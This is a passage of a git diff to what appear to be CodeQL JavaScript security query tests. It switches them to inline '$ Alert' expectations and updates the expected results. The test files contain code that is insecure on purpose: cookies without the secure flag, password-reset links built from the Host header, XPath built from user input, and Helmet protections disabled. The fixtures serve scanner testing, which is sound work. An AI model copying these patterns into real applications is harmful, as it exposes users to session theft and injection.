-| tst-cleartextCookie.js:108:9:111:2 | session ... T OK\\n}) | Sensitive cookie sent without enforcing SSL encryption. |
-| tst-cleartextCookie.js:113:9:116:2 | session ... T OK\\n}) | Sensitive cookie sent without enforcing SSL encryption. |
-| tst-cleartextCookie.js:118:9:121:2 | session ... T OK\\n}) | Sensitive cookie sent without enforcing SSL encryption. |
-| tst-cleartextCookie.js:128:9:128:21 | session(sess) | Sensitive cookie sent without enforcing SSL encryption. |
-| tst-cleartextCookie.js:152:9:160:2 | session ... Date\\n}) | Sensitive cookie sent without enforcing SSL encryption. |
-| tst-cleartextCookie.js:164:33:164:58 | `authKe ... key()}` | Sensitive cookie sent without enforcing SSL encryption. |
-| tst-cleartextCookie.js:177:5:177:19 | document.cookie | Sensitive cookie sent without enforcing SSL encryption. |
-| tst-cleartextCookie.js:181:5:181:41 | cookies ... hkey()) | Sensitive cookie sent without enforcing SSL encryption. |
-| tst-cleartextCookie.js:186:5:186:46 | cookie. ... hkey()) | Sensitive cookie sent without enforcing SSL encryption. |
-| tst-cleartextCookie.js:195:33:195:74 | cookie. ... hkey()) | Sensitive cookie sent without enforcing SSL encryption. |
+| tst-cleartextCookie.js:43:37:43:51 | "authKey=ninja" | Sensitive cookie sent without enforcing SSL encryption. |
+| tst-cleartextCookie.js:63:13:63:27 | "authKey=ninja" | Sensitive cookie sent without enforcing SSL encryption. |
+| tst-cleartextCookie.js:96:13:96:25 | "authKey=foo" | Sensitive cookie sent without enforcing SSL encryption. |
+| tst-cleartextCookie.js:107:9:110:2 | session ... se }\\n}) | Sensitive cookie sent without enforcing SSL encryption. |
+| tst-cleartextCookie.js:112:9:114:2 | session ... ret'\\n}) | Sensitive cookie sent without enforcing SSL encryption. |
+| tst-cleartextCookie.js:116:9:119:2 | session ... : {}\\n}) | Sensitive cookie sent without enforcing SSL encryption. |
+| tst-cleartextCookie.js:126:9:126:21 | session(sess) | Sensitive cookie sent without enforcing SSL encryption. |
+| tst-cleartextCookie.js:150:9:158:2 | session ... Date\\n}) | Sensitive cookie sent without enforcing SSL encryption. |
+| tst-cleartextCookie.js:162:33:162:58 | `authKe ... key()}` | Sensitive cookie sent without enforcing SSL encryption. |
+| tst-cleartextCookie.js:175:5:175:19 | document.cookie | Sensitive cookie sent without enforcing SSL encryption. |
+| tst-cleartextCookie.js:179:5:179:41 | cookies ... hkey()) | Sensitive cookie sent without enforcing SSL encryption. |
+| tst-cleartextCookie.js:184:5:184:46 | cookie. ... hkey()) | Sensitive cookie sent without enforcing SSL encryption. |
+| tst-cleartextCookie.js:193:33:193:74 | cookie. ... hkey()) | Sensitive cookie sent without enforcing SSL encryption. |
diff --git a/javascript/ql/test/query-tests/Security/CWE-614/ClearTextCookie.qlref b/javascript/ql/test/query-tests/Security/CWE-614/ClearTextCookie.qlref
index 357e5d75fafb..3f81daed6ba7 100644
--- a/javascript/ql/test/query-tests/Security/CWE-614/ClearTextCookie.qlref
+++ b/javascript/ql/test/query-tests/Security/CWE-614/ClearTextCookie.qlref
@@ -1 +1,2 @@
-Security/CWE-614/ClearTextCookie.ql
+query: Security/CWE-614/ClearTextCookie.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Security/CWE-614/tst-cleartextCookie.js b/javascript/ql/test/query-tests/Security/CWE-614/tst-cleartextCookie.js
index 7d0828a7c770..9e3e00d7b338 100644
--- a/javascript/ql/test/query-tests/Security/CWE-614/tst-cleartextCookie.js
+++ b/javascript/ql/test/query-tests/Security/CWE-614/tst-cleartextCookie.js
@@ -6,8 +6,8 @@ app.get('/a', function (req, res, next) {
         {
             maxAge: 9000000000,
             httpOnly: true,
-            secure: false // NOT OK
-        });
+            secure: false
+        }); // $ Alert
     res.end('ok')
 })
 
@@ -15,9 +15,9 @@ app.get('/b', function (req, res, next) {
     let options = {
         maxAge: 9000000000,
         httpOnly: true,
-        secure: false // NOT OK
+        secure: false
     }
-    res.cookie('authKey', 'value', options);
+    res.cookie('authKey', 'value', options); // $ Alert
     res.end('ok')
 })
 
@@ -26,22 +26,21 @@ app.get('/c', function (req, res, next) {
         {
             maxAge: 9000000000,
             httpOnly: true,
-            secure: true // OK
+            secure: true
         });
     res.end('ok')
 })
 
 const js_cookie = require('js-cookie')
-js_cookie.set('authKey', 'value', { secure: false }); // NOT OK
-js_cookie.set('authKey', 'value', { secure: true }); // OK
+js_cookie.set('authKey', 'value', { secure: false }); // $ Alert
+js_cookie.set('authKey', 'value', { secure: true });
 
 const http = require('http');
 
 function test1() {
     const server = http.createServer((req, res) => {
         res.setHeader('Content-Type', 'text/html');
-        // BAD
-        res.setHeader("Set-Cookie", "authKey=ninja");
+        res.setHeader("Set-Cookie", "authKey=ninja"); // $ Alert
         res.writeHead(200, { 'Content-Type': 'text/plain' });
         res.end('ok');
     });
@@ -50,7 +49,7 @@ function test1() {
 function test2() {
     const server = http.createServer((req, res) => {
         res.setHeader('Content-Type', 'text/html');
-        // GOOD
+
         res.setHeader("Set-Cookie", "type=ninja; Secure");
         res.writeHead(200, { 'Content-Type': 'text/plain' });
         res.end('ok');
@@ -61,8 +60,8 @@ function test3() {
     const server = http.createServer((req, res) => {
         res.setHeader('Content-Type', 'text/html');
         res.setHeader("Set-Cookie", [
-            "authKey=ninja", // NOT OK
-            "language=javascript" // OK
+            "authKey=ninja", // $ Alert
+            "language=javascript"
             ]);
         res.writeHead(200, { 'Content-Type': 'text/plain' });
         res.end('ok');
@@ -72,7 +71,7 @@ function test3() {
 function test4() {
     const server = http.createServer((req, res) => {
         res.setHeader('Content-Type', 'text/html');
-        // GOOD
+
         res.setHeader("Set-Cookie", ["type=ninja; Secure"]);
         res.writeHead(200, { 'Content-Type': 'text/plain' });
         res.end('ok');
@@ -82,7 +81,7 @@ function test4() {
 function test5() {
     const server = http.createServer((req, res) => {
         res.setHeader('Content-Type', 'text/html');
-        // GOOD, case insensitive
+        // OK - case insensitive
         res.setHeader("Set-Cookie", ["type=ninja; secure"]);
         res.writeHead(200, { 'Content-Type': 'text/plain' });
         res.end('ok');
@@ -93,8 +92,8 @@ function test6() {
     const server = http.createServer((req, res) => {
         res.setHeader('Content-Type', 'text/html');
         res.setHeader("Set-Cookie", [
-            "type=ninja; secure", // OK 
-            "authKey=foo" // NOT OK
+            "type=ninja; secure",
+            "authKey=foo" // $ Alert
         ]);
         res.writeHead(200, { 'Content-Type': 'text/plain' });
         res.end('ok');
@@ -107,31 +106,30 @@ const session = require('express-session')
 
 app.use(session({
     secret: 'secret',
-    cookie: { secure: false } // NOT OK
-}))
+    cookie: { secure: false }
+})) // $ Alert
 
 app.use(session({
     secret: 'secret'
-    // NOT OK
-}))
+})) // $ Alert
 
 app.use(session({
     secret: 'secret',
-    cookie: {} // NOT OK
-}))
+    cookie: {}
+})) // $ Alert
 
 const sess = {
     secret: 'secret',
-    cookie: { secure: false } // NOT OK
+    cookie: { secure: false }
 }
 
-app.use(session(sess))
+app.use(session(sess)) // $ Alert
 
 
 app.set('trust proxy', 1)
 app.use(session({
     secret: 'secret',
-    cookie: { secure: true } // OK
+    cookie: { secure: true }
 }))
 
 const express = require('express')
@@ -142,7 +140,7 @@ const expiryDate = new Date(Date.now() + 60 * 60 * 1000)
 app.use(session({
     name: 'session',
     keys: ['key1', 'key2'],
-    secure: true, // OK
+    secure: true,
     httpOnly: true,
     domain: 'example.com',
     path: 'foo/bar',
@@ -152,47 +150,47 @@ app.use(session({
 app.use(session({
     name: 'session',
     keys: ['key1', 'key2'],
-    secure: false, // NOT OK
+    secure: false,
     httpOnly: true,
     domain: 'example.com',
     path: 'foo/bar',
     expires: expiryDate
-}))
+})) // $ Alert
 
 http.createServer((req, res) => {
     res.setHeader('Content-Type', 'text/html');
-    res.setHeader("Set-Cookie", `authKey=${makeAuthkey()}`); // NOT OK
+    res.setHeader("Set-Cookie", `authKey=${makeAuthkey()}`); // $ Alert
     res.writeHead(200, { 'Content-Type': 'text/plain' });
     res.end('ok');
 });
 
 http.createServer((req, res) => {
-    res.setHeader("Set-Cookie", `authKey=${makeAuthkey()}; secure; httpOnly`); // OK
+    res.setHeader("Set-Cookie", `authKey=${makeAuthkey()}; secure; httpOnly`);
     res.writeHead(200, { 'Content-Type': 'text/html' });
     res.end('<h2>Hello world</h2>');
 });
 
 function clientCookies() {
-    document.cookie = `authKey=${makeAuthkey()}; secure`; // OK
-    document.cookie = `authKey=${makeAuthkey()}`; // NOT OK
+    document.cookie = `authKey=${makeAuthkey()}; secure`;
+    document.cookie = `authKey=${makeAuthkey()}`; // $ Alert
 
     var cookies = require('browser-cookies');
     
-    cookies.set('authKey', makeAuthkey()); // NOT OK
-    cookies.set('authKey', makeAuthkey(), { secure: true, expires: 7 }); // OK
+    cookies.set('authKey', makeAuthkey()); // $ Alert
+    cookies.set('authKey', makeAuthkey(), { secure: true, expires: 7 });
 
     const cookie = require('cookie');
 
-    cookie.serialize('authKey', makeAuthkey()); // NOT OK
-    cookie.serialize('authKey', makeAuthkey(), { secure: true, expires: 7 }); // OK
+    cookie.serialize('authKey', makeAuthkey()); // $ Alert
+    cookie.serialize('authKey', makeAuthkey(), { secure: true, expires: 7 });
 }
 
 const cookie = require('cookie');
 
 http.createServer((req, res) => {
     res.setHeader('Content-Type', 'text/html');
-    res.setHeader("Set-Cookie", cookie.serialize("authKey", makeAuthkey(), {secure: true,httpOnly: true})); // OK
-    res.setHeader("Set-Cookie", cookie.serialize("authKey", makeAuthkey())); // NOT OK
+    res.setHeader("Set-Cookie", cookie.serialize("authKey", makeAuthkey(), {secure: true,httpOnly: true}));
+    res.setHeader("Set-Cookie", cookie.serialize("authKey", makeAuthkey())); // $ Alert
     res.writeHead(200, { 'Content-Type': 'text/plain' });
     res.end('ok');
 });
diff --git a/javascript/ql/test/query-tests/Security/CWE-640/HostHeaderPoisoningInEmailGeneration.qlref b/javascript/ql/test/query-tests/Security/CWE-640/HostHeaderPoisoningInEmailGeneration.qlref
index c941bc1f7610..827a4d638b2e 100644
--- a/javascript/ql/test/query-tests/Security/CWE-640/HostHeaderPoisoningInEmailGeneration.qlref
+++ b/javascript/ql/test/query-tests/Security/CWE-640/HostHeaderPoisoningInEmailGeneration.qlref
@@ -1 +1,2 @@
-Security/CWE-640/HostHeaderPoisoningInEmailGeneration.ql
+query: Security/CWE-640/HostHeaderPoisoningInEmailGeneration.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Security/CWE-640/tst.js b/javascript/ql/test/query-tests/Security/CWE-640/tst.js
index b762f887b616..cbb20fc5faf1 100644
--- a/javascript/ql/test/query-tests/Security/CWE-640/tst.js
+++ b/javascript/ql/test/query-tests/Security/CWE-640/tst.js
@@ -14,15 +14,15 @@ app.post('/resetpass', (req, res) => {
     from: 'webmaster@example.com',
     to: email,
     subject: 'Forgot password',
-    text: `Hi, looks like you forgot your password. Click here to reset: https://${req.host}/resettoken/${token}`, // NOT OK
-    html: `Hi, looks like you forgot your password. Click <a href="https://${req.host}/resettoken/${token}">here</a> to reset.` // NOT OK
+    text: `Hi, looks like you forgot your password. Click here to reset: https://${req.host}/resettoken/${token}`, // $ Alert
+    html: `Hi, looks like you forgot your password. Click <a href="https://${req.host}/resettoken/${token}">here</a> to reset.` // $ Alert
   });
 
   transport.sendMail({
     from: 'webmaster@example.com',
     to: email,
     subject: 'Forgot password',
-    text: `Hi, looks like you forgot your password. Click here to reset: https://example.com/resettoken/${token}`, // OK
-    html: `Hi, looks like you forgot your password. Click <a href="https://example.com/resettoken/${token}">here</a> to reset.` // OK
+    text: `Hi, looks like you forgot your password. Click here to reset: https://example.com/resettoken/${token}`,
+    html: `Hi, looks like you forgot your password. Click <a href="https://example.com/resettoken/${token}">here</a> to reset.`
   });
 });
diff --git a/javascript/ql/test/query-tests/Security/CWE-643/XpathInjection.expected b/javascript/ql/test/query-tests/Security/CWE-643/XpathInjection.expected
index c28b6cf57cb4..4ad42bcdc03e 100644
--- a/javascript/ql/test/query-tests/Security/CWE-643/XpathInjection.expected
+++ b/javascript/ql/test/query-tests/Security/CWE-643/XpathInjection.expected
@@ -1,7 +1,15 @@
+#select
+| XpathInjectionBad.js:8:34:8:96 | "//user ... text()" | XpathInjectionBad.js:6:18:6:38 | req.par ... rName") | XpathInjectionBad.js:8:34:8:96 | "//user ... text()" | XPath expression depends on a $@. | XpathInjectionBad.js:6:18:6:38 | req.par ... rName") | user-provided value |
+| tst2.js:2:27:2:31 | query | tst2.js:1:13:1:34 | documen ... on.hash | tst2.js:2:27:2:31 | query | XPath expression depends on a $@. | tst2.js:1:13:1:34 | documen ... on.hash | user-provided value |
+| tst2.js:3:19:3:23 | query | tst2.js:1:13:1:34 | documen ... on.hash | tst2.js:3:19:3:23 | query | XPath expression depends on a $@. | tst2.js:1:13:1:34 | documen ... on.hash | user-provided value |
+| tst.js:7:15:7:21 | tainted | tst.js:6:17:6:37 | req.par ... rName") | tst.js:7:15:7:21 | tainted | XPath expression depends on a $@. | tst.js:6:17:6:37 | req.par ... rName") | user-provided value |
+| tst.js:8:16:8:22 | tainted | tst.js:6:17:6:37 | req.par ... rName") | tst.js:8:16:8:22 | tainted | XPath expression depends on a $@. | tst.js:6:17:6:37 | req.par ... rName") | user-provided value |
+| tst.js:9:17:9:23 | tainted | tst.js:6:17:6:37 | req.par ... rName") | tst.js:9:17:9:23 | tainted | XPath expression depends on a $@. | tst.js:6:17:6:37 | req.par ... rName") | user-provided value |
+| tst.js:11:8:11:14 | tainted | tst.js:6:17:6:37 | req.par ... rName") | tst.js:11:8:11:14 | tainted | XPath expression depends on a $@. | tst.js:6:17:6:37 | req.par ... rName") | user-provided value |
 edges
-| XpathInjectionBad.js:6:7:6:38 | userName | XpathInjectionBad.js:9:66:9:73 | userName | provenance |  |
+| XpathInjectionBad.js:6:7:6:38 | userName | XpathInjectionBad.js:8:66:8:73 | userName | provenance |  |
 | XpathInjectionBad.js:6:18:6:38 | req.par ... rName") | XpathInjectionBad.js:6:7:6:38 | userName | provenance |  |
-| XpathInjectionBad.js:9:66:9:73 | userName | XpathInjectionBad.js:9:34:9:96 | "//user ... text()" | provenance |  |
+| XpathInjectionBad.js:8:66:8:73 | userName | XpathInjectionBad.js:8:34:8:96 | "//user ... text()" | provenance |  |
 | tst2.js:1:13:1:34 | documen ... on.hash | tst2.js:1:13:1:47 | documen ... ring(1) | provenance |  |
 | tst2.js:1:13:1:47 | documen ... ring(1) | tst2.js:2:27:2:31 | query | provenance |  |
 | tst2.js:1:13:1:47 | documen ... ring(1) | tst2.js:3:19:3:23 | query | provenance |  |
@@ -13,8 +21,8 @@ edges
 nodes
 | XpathInjectionBad.js:6:7:6:38 | userName | semmle.label | userName |
 | XpathInjectionBad.js:6:18:6:38 | req.par ... rName") | semmle.label | req.par ... rName") |
-| XpathInjectionBad.js:9:34:9:96 | "//user ... text()" | semmle.label | "//user ... text()" |
-| XpathInjectionBad.js:9:66:9:73 | userName | semmle.label | userName |
+| XpathInjectionBad.js:8:34:8:96 | "//user ... text()" | semmle.label | "//user ... text()" |
+| XpathInjectionBad.js:8:66:8:73 | userName | semmle.label | userName |
 | tst2.js:1:13:1:34 | documen ... on.hash | semmle.label | documen ... on.hash |
 | tst2.js:1:13:1:47 | documen ... ring(1) | semmle.label | documen ... ring(1) |
 | tst2.js:2:27:2:31 | query | semmle.label | query |
@@ -26,11 +34,3 @@ nodes
 | tst.js:9:17:9:23 | tainted | semmle.label | tainted |
 | tst.js:11:8:11:14 | tainted | semmle.label | tainted |
 subpaths
-#select
-| XpathInjectionBad.js:9:34:9:96 | "//user ... text()" | XpathInjectionBad.js:6:18:6:38 | req.par ... rName") | XpathInjectionBad.js:9:34:9:96 | "//user ... text()" | XPath expression depends on a $@. | XpathInjectionBad.js:6:18:6:38 | req.par ... rName") | user-provided value |
-| tst2.js:2:27:2:31 | query | tst2.js:1:13:1:34 | documen ... on.hash | tst2.js:2:27:2:31 | query | XPath expression depends on a $@. | tst2.js:1:13:1:34 | documen ... on.hash | user-provided value |
-| tst2.js:3:19:3:23 | query | tst2.js:1:13:1:34 | documen ... on.hash | tst2.js:3:19:3:23 | query | XPath expression depends on a $@. | tst2.js:1:13:1:34 | documen ... on.hash | user-provided value |
-| tst.js:7:15:7:21 | tainted | tst.js:6:17:6:37 | req.par ... rName") | tst.js:7:15:7:21 | tainted | XPath expression depends on a $@. | tst.js:6:17:6:37 | req.par ... rName") | user-provided value |
-| tst.js:8:16:8:22 | tainted | tst.js:6:17:6:37 | req.par ... rName") | tst.js:8:16:8:22 | tainted | XPath expression depends on a $@. | tst.js:6:17:6:37 | req.par ... rName") | user-provided value |
-| tst.js:9:17:9:23 | tainted | tst.js:6:17:6:37 | req.par ... rName") | tst.js:9:17:9:23 | tainted | XPath expression depends on a $@. | tst.js:6:17:6:37 | req.par ... rName") | user-provided value |
-| tst.js:11:8:11:14 | tainted | tst.js:6:17:6:37 | req.par ... rName") | tst.js:11:8:11:14 | tainted | XPath expression depends on a $@. | tst.js:6:17:6:37 | req.par ... rName") | user-provided value |
diff --git a/javascript/ql/test/query-tests/Security/CWE-643/XpathInjection.qlref b/javascript/ql/test/query-tests/Security/CWE-643/XpathInjection.qlref
index a61523e1767a..20ce4fdfd933 100644
--- a/javascript/ql/test/query-tests/Security/CWE-643/XpathInjection.qlref
+++ b/javascript/ql/test/query-tests/Security/CWE-643/XpathInjection.qlref
@@ -1 +1,2 @@
-Security/CWE-643/XpathInjection.ql
+query: Security/CWE-643/XpathInjection.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Security/CWE-643/XpathInjectionBad.js b/javascript/ql/test/query-tests/Security/CWE-643/XpathInjectionBad.js
index 9c577d95146c..670f20abc7a6 100644
--- a/javascript/ql/test/query-tests/Security/CWE-643/XpathInjectionBad.js
+++ b/javascript/ql/test/query-tests/Security/CWE-643/XpathInjectionBad.js
@@ -3,10 +3,9 @@ const xpath = require('xpath');
 const app = express();
 
 app.get('/some/route', function(req, res) {
-  let userName = req.param("userName");
+  let userName = req.param("userName"); // $ Source
 
-  // BAD: Use user-provided data directly in an XPath expression
-  let badXPathExpr = xpath.parse("//users/user[login/text()='" + userName + "']/home_dir/text()");
+  let badXPathExpr = xpath.parse("//users/user[login/text()='" + userName + "']/home_dir/text()"); // $ Alert - Use user-provided data directly in an XPath expression
   badXPathExpr.select({
     node: root
   });
diff --git a/javascript/ql/test/query-tests/Security/CWE-643/XpathInjectionGood.js b/javascript/ql/test/query-tests/Security/CWE-643/XpathInjectionGood.js
index c67c8366c627..c01afa0e6094 100644
--- a/javascript/ql/test/query-tests/Security/CWE-643/XpathInjectionGood.js
+++ b/javascript/ql/test/query-tests/Security/CWE-643/XpathInjectionGood.js
@@ -5,7 +5,7 @@ const app = express();
 app.get('/some/route', function(req, res) {
   let userName = req.param("userName");
 
-  // GOOD: Embed user-provided data using variables
+  // OK - Embed user-provided data using variables
   let goodXPathExpr = xpath.parse("//users/user[login/text()=$userName]/home_dir/text()");
   goodXPathExpr.select({
     node: root,
diff --git a/javascript/ql/test/query-tests/Security/CWE-643/tst.js b/javascript/ql/test/query-tests/Security/CWE-643/tst.js
index 7922f72be288..7eadf08f4196 100644
--- a/javascript/ql/test/query-tests/Security/CWE-643/tst.js
+++ b/javascript/ql/test/query-tests/Security/CWE-643/tst.js
@@ -3,10 +3,10 @@ const xpath = require('xpath');
 const app = express();
 
 app.get('/some/route', function(req, res) {
-  let tainted = req.param("userName");
-  xpath.parse(tainted); // NOT OK
-  xpath.select(tainted); // NOT OK
-  xpath.select1(tainted); // NOT OK
+  let tainted = req.param("userName"); // $ Source
+  xpath.parse(tainted); // $ Alert
+  xpath.select(tainted); // $ Alert
+  xpath.select1(tainted); // $ Alert
   let expr = xpath.useNamespaces(map);
-  expr(tainted); // NOT OK
+  expr(tainted); // $ Alert
 });
diff --git a/javascript/ql/test/query-tests/Security/CWE-643/tst2.js b/javascript/ql/test/query-tests/Security/CWE-643/tst2.js
index 92c6ff996c11..df01d33d5215 100644
--- a/javascript/ql/test/query-tests/Security/CWE-643/tst2.js
+++ b/javascript/ql/test/query-tests/Security/CWE-643/tst2.js
@@ -1,3 +1,3 @@
-let query = document.location.hash.substring(1);
-document.createExpression(query); // NOT OK
-document.evaluate(query);         // NOT OK
+let query = document.location.hash.substring(1); // $ Source
+document.createExpression(query); // $ Alert
+document.evaluate(query);         // $ Alert
diff --git a/javascript/ql/test/query-tests/Security/CWE-693/InsecureHelmet.qlref b/javascript/ql/test/query-tests/Security/CWE-693/InsecureHelmet.qlref
index 9212b2674fcf..4626c225c6a1 100644
--- a/javascript/ql/test/query-tests/Security/CWE-693/InsecureHelmet.qlref
+++ b/javascript/ql/test/query-tests/Security/CWE-693/InsecureHelmet.qlref
@@ -1 +1,2 @@
-Security/CWE-693/InsecureHelmet.ql
\ No newline at end of file
+query: Security/CWE-693/InsecureHelmet.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Security/CWE-693/InsecureHelmetBad.js b/javascript/ql/test/query-tests/Security/CWE-693/InsecureHelmetBad.js
index d9257999ef0b..49ad4f033a28 100644
--- a/javascript/ql/test/query-tests/Security/CWE-693/InsecureHelmetBad.js
+++ b/javascript/ql/test/query-tests/Security/CWE-693/InsecureHelmetBad.js
@@ -4,9 +4,9 @@ const helmet = require("helmet");
 const app = express();
 
 app.use(helmet({
-    contentSecurityPolicy: false, // BAD: switch off default CSP
-    frameguard: false // BAD: switch off default frameguard
-}));
+    contentSecurityPolicy: false, // $ RelatedLocation - switch off default CSP
+    frameguard: false // $ RelatedLocation - switch off default frameguard
+})); // $ Alert
 
 app.get("/", (req, res) => {
   res.send("Hello, world!");
diff --git a/javascript/ql/test/query-tests/Security/CWE-693/InsecureHelmetGood.js b/javascript/ql/test/query-tests/Security/CWE-693/InsecureHelmetGood.js
index 609c1fc2763c..799efbe968ea 100644
--- a/javascript/ql/test/query-tests/Security/CWE-693/InsecureHelmetGood.js
+++ b/javascript/ql/test/query-tests/Security/CWE-693/InsecureHelmetGood.js
@@ -3,7 +3,7 @@ const helmet = require("helmet");
 
 const app = express();
 
-app.use(helmet());  // GOOD: use the defaults
+app.use(helmet());  // OK - use the defaults
 
 app.get("/", (req, res) => {
   res.send("Hello, world!");
diff --git a/javascript/ql/test/query-tests/Security/CWE-730/RegExpInjection.expected b/javascript/ql/test/query-tests/Security/CWE-730/RegExpInjection.expected
index ef614088e2cc..06926c487efd 100644
--- a/javascript/ql/test/query-tests/Security/CWE-730/RegExpInjection.expected
+++ b/javascript/ql/test/query-tests/Security/CWE-730/RegExpInjection.expected
@@ -1,49 +1,69 @@
+#select
+| RegExpInjection.js:7:23:7:45 | "\\\\b" + ... (.*)\\n" | RegExpInjection.js:5:13:5:28 | req.param("key") | RegExpInjection.js:7:23:7:45 | "\\\\b" + ... (.*)\\n" | This regular expression is constructed from a $@. | RegExpInjection.js:5:13:5:28 | req.param("key") | user-provided value |
+| RegExpInjection.js:17:14:17:22 | wrap(key) | RegExpInjection.js:5:13:5:28 | req.param("key") | RegExpInjection.js:17:14:17:22 | wrap(key) | This regular expression is constructed from a $@. | RegExpInjection.js:5:13:5:28 | req.param("key") | user-provided value |
+| RegExpInjection.js:18:14:18:22 | wrap(key) | RegExpInjection.js:5:13:5:28 | req.param("key") | RegExpInjection.js:18:14:18:22 | wrap(key) | This regular expression is constructed from a $@. | RegExpInjection.js:5:13:5:28 | req.param("key") | user-provided value |
+| RegExpInjection.js:23:14:23:21 | getKey() | RegExpInjection.js:21:12:21:27 | req.param("key") | RegExpInjection.js:23:14:23:21 | getKey() | This regular expression is constructed from a $@. | RegExpInjection.js:21:12:21:27 | req.param("key") | user-provided value |
+| RegExpInjection.js:26:23:26:23 | s | RegExpInjection.js:5:13:5:28 | req.param("key") | RegExpInjection.js:26:23:26:23 | s | This regular expression is constructed from a $@. | RegExpInjection.js:5:13:5:28 | req.param("key") | user-provided value |
+| RegExpInjection.js:26:23:26:23 | s | RegExpInjection.js:21:12:21:27 | req.param("key") | RegExpInjection.js:26:23:26:23 | s | This regular expression is constructed from a $@. | RegExpInjection.js:21:12:21:27 | req.param("key") | user-provided value |
+| RegExpInjection.js:35:23:35:27 | input | RegExpInjection.js:5:39:5:56 | req.param("input") | RegExpInjection.js:35:23:35:27 | input | This regular expression is constructed from a $@. | RegExpInjection.js:5:39:5:56 | req.param("input") | user-provided value |
+| RegExpInjection.js:36:26:36:30 | input | RegExpInjection.js:5:39:5:56 | req.param("input") | RegExpInjection.js:36:26:36:30 | input | This regular expression is constructed from a $@. | RegExpInjection.js:5:39:5:56 | req.param("input") | user-provided value |
+| RegExpInjection.js:37:25:37:29 | input | RegExpInjection.js:5:39:5:56 | req.param("input") | RegExpInjection.js:37:25:37:29 | input | This regular expression is constructed from a $@. | RegExpInjection.js:5:39:5:56 | req.param("input") | user-provided value |
+| RegExpInjection.js:40:24:40:28 | input | RegExpInjection.js:5:39:5:56 | req.param("input") | RegExpInjection.js:40:24:40:28 | input | This regular expression is constructed from a $@. | RegExpInjection.js:5:39:5:56 | req.param("input") | user-provided value |
+| RegExpInjection.js:41:27:41:31 | input | RegExpInjection.js:5:39:5:56 | req.param("input") | RegExpInjection.js:41:27:41:31 | input | This regular expression is constructed from a $@. | RegExpInjection.js:5:39:5:56 | req.param("input") | user-provided value |
+| RegExpInjection.js:42:26:42:30 | input | RegExpInjection.js:5:39:5:56 | req.param("input") | RegExpInjection.js:42:26:42:30 | input | This regular expression is constructed from a $@. | RegExpInjection.js:5:39:5:56 | req.param("input") | user-provided value |
+| RegExpInjection.js:49:14:49:52 | key.spl ... in("-") | RegExpInjection.js:5:13:5:28 | req.param("key") | RegExpInjection.js:49:14:49:52 | key.spl ... in("-") | This regular expression is constructed from a $@. | RegExpInjection.js:5:13:5:28 | req.param("key") | user-provided value |
+| RegExpInjection.js:59:14:59:18 | input | RegExpInjection.js:55:39:55:56 | req.param("input") | RegExpInjection.js:59:14:59:18 | input | This regular expression is constructed from a $@. | RegExpInjection.js:55:39:55:56 | req.param("input") | user-provided value |
+| RegExpInjection.js:82:14:82:55 | "^.*\\.( ...  + ")$" | RegExpInjection.js:77:15:77:32 | req.param("input") | RegExpInjection.js:82:14:82:55 | "^.*\\.( ...  + ")$" | This regular expression is constructed from a $@. | RegExpInjection.js:77:15:77:32 | req.param("input") | user-provided value |
+| RegExpInjection.js:86:16:86:50 | `^${pro ... r.app$` | RegExpInjection.js:86:20:86:30 | process.env | RegExpInjection.js:86:16:86:50 | `^${pro ... r.app$` | This regular expression is constructed from a $@. | RegExpInjection.js:86:20:86:30 | process.env | environment variable |
+| RegExpInjection.js:88:16:88:49 | `^${pro ... r.app$` | RegExpInjection.js:88:20:88:31 | process.argv | RegExpInjection.js:88:16:88:49 | `^${pro ... r.app$` | This regular expression is constructed from a $@. | RegExpInjection.js:88:20:88:31 | process.argv | command-line argument |
+| RegExpInjection.js:95:14:95:22 | sanitized | RegExpInjection.js:92:15:92:32 | req.param("input") | RegExpInjection.js:95:14:95:22 | sanitized | This regular expression is constructed from a $@. | RegExpInjection.js:92:15:92:32 | req.param("input") | user-provided value |
+| tst.js:6:16:6:35 | "^"+ data.name + "$" | tst.js:5:16:5:29 | req.query.data | tst.js:6:16:6:35 | "^"+ data.name + "$" | This regular expression is constructed from a $@. | tst.js:5:16:5:29 | req.query.data | user-provided value |
 edges
-| RegExpInjection.js:5:7:5:28 | key | RegExpInjection.js:8:31:8:33 | key | provenance |  |
-| RegExpInjection.js:5:7:5:28 | key | RegExpInjection.js:19:19:19:21 | key | provenance |  |
-| RegExpInjection.js:5:7:5:28 | key | RegExpInjection.js:21:19:21:21 | key | provenance |  |
-| RegExpInjection.js:5:7:5:28 | key | RegExpInjection.js:33:12:33:14 | key | provenance |  |
-| RegExpInjection.js:5:7:5:28 | key | RegExpInjection.js:54:14:54:16 | key | provenance |  |
+| RegExpInjection.js:5:7:5:28 | key | RegExpInjection.js:7:31:7:33 | key | provenance |  |
+| RegExpInjection.js:5:7:5:28 | key | RegExpInjection.js:17:19:17:21 | key | provenance |  |
+| RegExpInjection.js:5:7:5:28 | key | RegExpInjection.js:18:19:18:21 | key | provenance |  |
+| RegExpInjection.js:5:7:5:28 | key | RegExpInjection.js:28:12:28:14 | key | provenance |  |
+| RegExpInjection.js:5:7:5:28 | key | RegExpInjection.js:49:14:49:16 | key | provenance |  |
 | RegExpInjection.js:5:13:5:28 | req.param("key") | RegExpInjection.js:5:7:5:28 | key | provenance |  |
-| RegExpInjection.js:5:31:5:56 | input | RegExpInjection.js:40:23:40:27 | input | provenance |  |
-| RegExpInjection.js:5:31:5:56 | input | RegExpInjection.js:41:26:41:30 | input | provenance |  |
-| RegExpInjection.js:5:31:5:56 | input | RegExpInjection.js:42:25:42:29 | input | provenance |  |
-| RegExpInjection.js:5:31:5:56 | input | RegExpInjection.js:45:24:45:28 | input | provenance |  |
-| RegExpInjection.js:5:31:5:56 | input | RegExpInjection.js:46:27:46:31 | input | provenance |  |
-| RegExpInjection.js:5:31:5:56 | input | RegExpInjection.js:47:26:47:30 | input | provenance |  |
+| RegExpInjection.js:5:31:5:56 | input | RegExpInjection.js:35:23:35:27 | input | provenance |  |
+| RegExpInjection.js:5:31:5:56 | input | RegExpInjection.js:36:26:36:30 | input | provenance |  |
+| RegExpInjection.js:5:31:5:56 | input | RegExpInjection.js:37:25:37:29 | input | provenance |  |
+| RegExpInjection.js:5:31:5:56 | input | RegExpInjection.js:40:24:40:28 | input | provenance |  |
+| RegExpInjection.js:5:31:5:56 | input | RegExpInjection.js:41:27:41:31 | input | provenance |  |
